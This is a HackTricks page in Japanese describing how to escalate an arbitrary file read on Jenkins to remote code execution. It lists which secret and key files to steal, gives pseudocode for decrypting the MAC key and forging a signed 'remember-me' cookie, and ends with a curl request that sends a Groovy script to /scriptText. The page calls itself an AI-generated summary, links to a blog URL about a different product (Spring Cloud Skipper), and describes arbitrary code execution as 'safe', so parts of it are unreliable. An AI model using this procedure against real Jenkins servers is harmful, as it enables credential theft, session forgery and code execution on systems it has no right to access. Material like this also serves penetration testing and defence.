Jenkins Arbitrary File Read to RCE via "Remember Me"
Reading time: 5 minutes
tip
AWSハッキングを学び、実践する:HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE)
Azureハッキングを学び、実践する:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricksをサポートする
- サブスクリプションプランを確認してください!
- **💬 Discordグループまたはテレグラムグループに参加するか、Twitter 🐦 @hacktricks_liveをフォローしてください。
- HackTricksおよびHackTricks CloudのGitHubリポジトリにPRを提出してハッキングトリックを共有してください。
このブログ投稿では、Jenkinsのローカルファイルインクルージョン脆弱性をRCEに変換する素晴らしい方法を見つけることができます: https://blog.securelayer7.net/spring-cloud-skipper-vulnerability/
これは、任意のクッキーを作成することがRCEを取得するために悪用される投稿の部分のAIによって作成された要約です。自分自身の要約を作成する時間ができるまでの間です。
Attack Prerequisites
- Feature Requirement: "Remember me"が有効である必要があります(デフォルト設定)。
- Access Levels: 攻撃者はOverall/Read権限が必要です。
- Secret Access: 重要なファイルからバイナリおよびテキストコンテンツを読み取る能力。
Detailed Exploitation Process
Step 1: Data Collection
User Information Retrieval
- 各ユーザーのために
$JENKINS_HOME/users/*.xml
からユーザー設定と秘密を取得します: - Username
- User seed
- Timestamp
- Password hash
Secret Key Extraction
- クッキーの署名に使用される暗号鍵を抽出します:
- Secret Key:
$JENKINS_HOME/secret.key
- Master Key:
$JENKINS_HOME/secrets/master.key
- MAC Key File:
$JENKINS_HOME/secrets/org.springframework.security.web.authentication.rememberme.TokenBasedRememberMeServices.mac
Step 2: Cookie Forging
Token Preparation
- トークンの有効期限を計算:
tokenExpiryTime = currentServerTimeInMillis() + 3600000 // 現在の時間に1時間を追加
- トークンのためのデータを連結:
token = username + ":" + tokenExpiryTime + ":" + userSeed + ":" + secretKey
MAC Key Decryption
- MACキーのファイルを復号化:
key = toAes128Key(masterKey) // マスターキーをAES128キー形式に変換
decrypted = AES.decrypt(macFile, key) // .macファイルを復号化
if not decrypted.hasSuffix("::::MAGIC::::")
return ERROR;
macKey = decrypted.withoutSuffix("::::MAGIC::::")
Signature Computation
- HMAC SHA256を計算:
mac = HmacSHA256(token, macKey) // トークンとMACキーを使用してHMACを計算
tokenSignature = bytesToHexString(mac) // MACを16進数文字列に変換
Cookie Encoding
- 最終的なクッキーを生成:
cookie = base64.encode(
username + ":" + tokenExpiryTime + ":" + tokenSignature
) // クッキーのデータをBase64エンコード
Step 3: Code Execution
Session Authentication
- CSRFおよびセッショントークンを取得:
/crumbIssuer/api/json
にリクエストを送信してJenkins-Crumb
を取得します。- 応答から
JSESSIONID
をキャプチャし、remember-meクッキーと一緒に使用します。
Command Execution Request
- Groovyスクリプトを使用してPOSTリクエストを送信:
curl -X POST "$JENKINS_URL/scriptText" \
--cookie "remember-me=$REMEMBER_ME_COOKIE; JSESSIONID...=$JSESSIONID" \
--header "Jenkins-Crumb: $CRUMB" \
--header "Content-Type: application/x-www-form-urlencoded" \
--data-urlencode "script=$SCRIPT"
- Groovyスクリプトは、システムレベルのコマンドやJenkins環境内の他の操作を実行するために使用できます。
提供されたcurlコマンドの例は、必要なヘッダーとクッキーを使用してJenkinsにリクエストを送信し、任意のコードを安全に実行する方法を示しています。
tip
AWSハッキングを学び、実践する:HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE)
Azureハッキングを学び、実践する:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricksをサポートする
- サブスクリプションプランを確認してください!
- **💬 Discordグループまたはテレグラムグループに参加するか、Twitter 🐦 @hacktricks_liveをフォローしてください。
- HackTricksおよびHackTricks CloudのGitHubリポジトリにPRを提出してハッキングトリックを共有してください。